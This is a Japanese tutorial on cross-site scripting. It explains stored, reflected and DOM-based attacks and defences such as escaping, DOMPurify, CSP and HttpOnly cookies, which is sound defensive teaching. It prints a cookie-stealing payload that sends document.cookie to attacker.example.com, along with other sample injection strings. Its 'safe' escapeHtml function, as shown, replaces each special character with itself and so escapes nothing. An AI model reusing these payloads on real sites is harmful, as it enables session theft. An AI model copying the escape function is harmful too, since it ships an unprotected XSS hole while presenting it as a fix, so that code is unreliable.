XSS(クロスサイトスクリプティング)の基礎と対策
XSSの3種類の攻撃パターンと、エスケープ・CSP・HttpOnly Cookieによる防御方法を理解する
TL;DR
- XSSは、攻撃者が悪意あるスクリプトをWebページに埋め込み、閲覧者のブラウザ上で実行させる攻撃
- 被害はCookie窃取・フィッシング・操作の乗っ取りなど幅広く、CSRFよりも強力な攻撃が可能
- 主な対策は出力エスケープ・Content Security Policy(CSP)・HttpOnly Cookieの3つ
XSSとは
XSS(Cross-Site Scripting、クロスサイトスクリプティング)は、攻撃者が悪意あるJavaScriptをWebページに埋め込み、そのページを閲覧したユーザーのブラウザ上でスクリプトを実行させる攻撃。
「クロスサイト」という名称だが、攻撃スクリプトはターゲットサイト自身のオリジン上で動作するため、同一オリジンポリシーの保護を受けない。これがXSSの危険な点で、Cookieの読み取りや任意のDOM操作、他のAPIへのリクエスト送信が可能になる。
攻撃の種類
XSSは入力値の扱い方によって3種類に分類される。
graph TD
A["XSS攻撃の種類"] --> B["Stored XSS(格納型)"]
A --> C["Reflected XSS(反射型)"]
A --> D["DOM-based XSS(DOM型)"]
B --> E["サーバーDBに保存 → 全閲覧者に影響"]
C --> F["URLパラメータ → リクエストごとに反射"]
D --> G["JavaScriptがDOMに直接書き込む"]
Stored XSS(格納型)
Stored XSS(格納型)は、悪意あるスクリプトをDBに保存させ、他のユーザーがページを閲覧したときに実行されるXSS。最も影響範囲が広い。
1. 攻撃者がコメント欄に <script>document.cookie を送信するコード</script> を投稿
2. サーバーがそのまま文字列をDBに保存
3. 他ユーザーがページを開く
4. ブラウザがスクリプトをHTMLとして解釈し実行
5. Cookieが攻撃者のサーバーに送信される<!-- 攻撃者が投稿したコメント -->
こんにちは!<script>
fetch('https://attacker.example.com/steal?c=' + document.cookie);
</script>
<!-- サーバーがエスケープせずに出力すると -->
<p>こんにちは!<script>
fetch('https://attacker.example.com/steal?c=' + document.cookie);
</script></p>Reflected XSS(反射型)
Reflected XSS(反射型)は、URLのクエリパラメータなどをそのままレスポンスに埋め込む実装で発生する。攻撃者が悪意あるURLをメールやSNSで配布する手口が多い。
1. 攻撃者が /search?q=<script>...</script> というURLを作成・配布
2. 被害者がそのリンクをクリック
3. サーバーが q の値をエスケープせずにHTMLに埋め込んで返す
4. ブラウザがスクリプトを実行<!-- URL: /search?q=<script>alert('XSS')</script> -->
<!-- サーバー側のテンプレートが以下を出力してしまう -->
<p>「<script>alert('XSS')</script>」の検索結果</p>DOM-based XSS(DOM型)
DOM-based XSS(DOM型)は、サーバーを経由せず、JavaScriptがURLのフラグメント(#以降)やdocument.referrerなどをそのままDOMに書き込むことで発生する。サーバー側のログに残りにくいため発見が難しい。
<!-- 脆弱なコード例 -->
<script>
// URLのハッシュをそのままDOMに書き込んでいる
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'こんにちは、' + name;
</script>
<!-- URL: https://example.com/page#<img src=x onerror=alert(1)> -->
<!-- → onerror イベントが発火してスクリプトが実行される -->攻撃で何ができるか
XSSに成功した攻撃者は、被害者のブラウザ上で任意のJavaScriptを実行できる。
| 攻撃内容 | 具体例 |
|---|---|
| Cookie窃取 | document.cookie を外部に送信してセッションを乗っ取る |
| キーロギング | addEventListener('keydown', ...) でパスワードを盗む |
| フィッシング | ページのDOMを書き換えて偽のログインフォームを表示する |
| CSRFより強力なリクエスト送信 | CSRFトークンをDOMから読み取った上で不正リクエストを送れる |
| マルウェア配布 | ページにリダイレクトや悪意あるファイルダウンロードを仕込む |
CSRFとの違い
混同しやすいため整理する。
| XSS | CSRF | |
|---|---|---|
| 攻撃の起点 | ターゲットサイト自身にスクリプトを埋め込む | 別サイトから正規のリクエストを送らせる |
| 実行場所 | 被害者のブラウザ(ターゲットサイトのオリジン) | 攻撃者のサイト(別オリジン) |
| Cookieへのアクセス | できる(httpOnly でない場合) | できない |
| 被害範囲 | より広い(任意のJS実行) | リクエスト送信に限定 |
CSRFの仕組みは CSRF攻撃の基礎と対策 を参照。
対策1: 出力エスケープ(最重要)
XSS対策の基本は、HTMLに値を出力する際に特殊文字をエスケープすること。スクリプトとして解釈される文字(<, >, ", ', &)をHTMLエンティティに変換する。
// 危険な実装(エスケープなし)
res.send(`<p>ようこそ、${username}さん</p>`);
// 安全な実装(エスケープあり)
function escapeHtml(str: string): string {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
res.send(`<p>ようこそ、${escapeHtml(username)}さん</p>`);テンプレートエンジン・フレームワークの自動エスケープを活用する
モダンなフレームワークはデフォルトで自動エスケープを行う。
// React: JSX の {} は自動でエスケープされる(安全)
function Greeting({ name }: { name: string }) {
return <p>ようこそ、{name}さん</p>;
// name に <script>...</script> が入ってもテキストとして表示される
}
// ❌ 危険: dangerouslySetInnerHTML は生のHTMLを挿入する
function DangerousComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// sanitize してから使わないとXSS脆弱性になる
}<!-- Handlebars / EJS などのテンプレートエンジン -->
<!-- ✓ 安全: {{ }} または <%= %> は自動エスケープ -->
<p>ようこそ、{{ username }}さん</p>
<!-- ❌ 危険: {{{ }}} や <%- %> は生のHTMLを出力(使用時は要注意) -->
<p>{{{ rawHtml }}}</p>DOMPurify でサニタイズする
ユーザー入力のHTMLをそのまま表示しなければならないケース(リッチテキストエディタなど)では、DOMPurifyなどのサニタイズライブラリを使って危険なタグ・属性を除去する。
npm install dompurify
npm install --save-dev @types/dompurifyimport DOMPurify from 'dompurify';
function RichTextContent({ html }: { html: string }) {
const sanitized = DOMPurify.sanitize(html);
// sanitize後のHTMLは <script> や onerror= などが除去されている
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}対策2: Content Security Policy(CSP)
CSP(Content Security Policy、コンテンツセキュリティポリシー)は、ページが読み込んで良いリソースのオリジンをHTTPヘッダーで宣言する仕組み。インラインスクリプトや外部スクリプトの読み込みを制限することでXSSの被害を抑止できる。
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'| ディレクティブ | 意味 |
|---|---|
default-src 'self' | すべてのリソースを同一オリジンのみに制限 |
script-src 'self' | スクリプトは同一オリジンのみ許可(インラインスクリプトを禁止) |
script-src 'nonce-xxx' | nonce属性が一致するインラインスクリプトのみ許可 |
img-src * | 画像はすべてのオリジンから許可 |
report-uri /csp-report | 違反時のレポート送信先を指定 |
// NestJSでCSPヘッダーを設定する例(helmet を使用)
import helmet from 'helmet';
async function bootstrap() {
const app = await NestFactory.create(AppModule);
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
},
})
);
await app.listen(3000);
}対策3: HttpOnly Cookie
Cookieに httpOnly: true を設定することで、JavaScriptから document.cookie でCookieを読み取れなくなる。XSSでCookieを盗むパターンを防ぐのに有効。
// NestJSでhttpOnly CookieにJWTを保存する例
res.cookie('access_token', jwt, {
httpOnly: true, // JavaScriptからアクセス不可
secure: true, // HTTPS必須
sameSite: 'lax', // CSRF対策(SameSite属性)
maxAge: 3600000, // 1時間
});httpOnly: true の場合
document.cookie → '' (空 or access_token は含まれない)
XSSでCookieを盗むfetchは失敗する
httpOnly: false の場合
document.cookie → 'access_token=eyJhbGci...' (全Cookieが読める)
XSSでCookieが盗まれるただし httpOnly Cookie を使うとCSRF対策が必要になる。CSRF攻撃の基礎と対策 で詳しく説明している。
対策4: DOM操作で innerHTML を使わない
JavaScript側でも、信頼できない値をDOMに書き込む際は innerHTML の代わりに textContent を使う。
// ❌ 危険: innerHTML は文字列をHTMLとして解釈する
element.innerHTML = userInput;
// ✓ 安全: textContent はHTMLとして解釈せずテキストとして挿入する
element.textContent = userInput;
// ❌ 危険: document.write も同様
document.write(userInput);
// ❌ 危険: URL系も要注意
element.setAttribute('href', userInput); // javascript: スキームが使われる可能性// URLを属性に入れる場合は javascript: スキームを弾く
function safeSetHref(el: HTMLAnchorElement, url: string) {
if (url.startsWith('http://') || url.startsWith('https://')) {
el.href = url;
}
// javascript: で始まるURLは無視
}NestJSでの実装まとめ
npm install helmet// main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import helmet from 'helmet';
async function bootstrap() {
const app = await NestFactory.create(AppModule);
// XSS・セキュリティヘッダー全般をhelmetで設定
app.use(helmet());
// CSPをカスタマイズする場合
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
},
})
);
await app.listen(3000);
}helmet() は X-Content-Type-Options, X-Frame-Options, X-XSS-Protection など複数のセキュリティヘッダーをまとめて設定する。
よくある落とし穴
Reactを使っていれば安全、ではない
ReactはJSX内の {} を自動でエスケープするが、以下の場面では保護が効かない。
dangerouslySetInnerHTMLを使っているhrefにjavascript:スキームのURLが入る(<a href={userUrl}>)- 外部ライブラリが内部で
innerHTMLを使っている
v-html / [innerHTML] も同様
Vue の v-html や Angular の [innerHTML] も生のHTMLを挿入するため、sanitize 処理が必要。
URLエンコードとHTMLエスケープの混同
URLのクエリパラメータとして使う値には encodeURIComponent を使い、HTMLに出力する値には HTMLエスケープを使う。両者は別の処理で、どちらか一方では不十分なケースがある。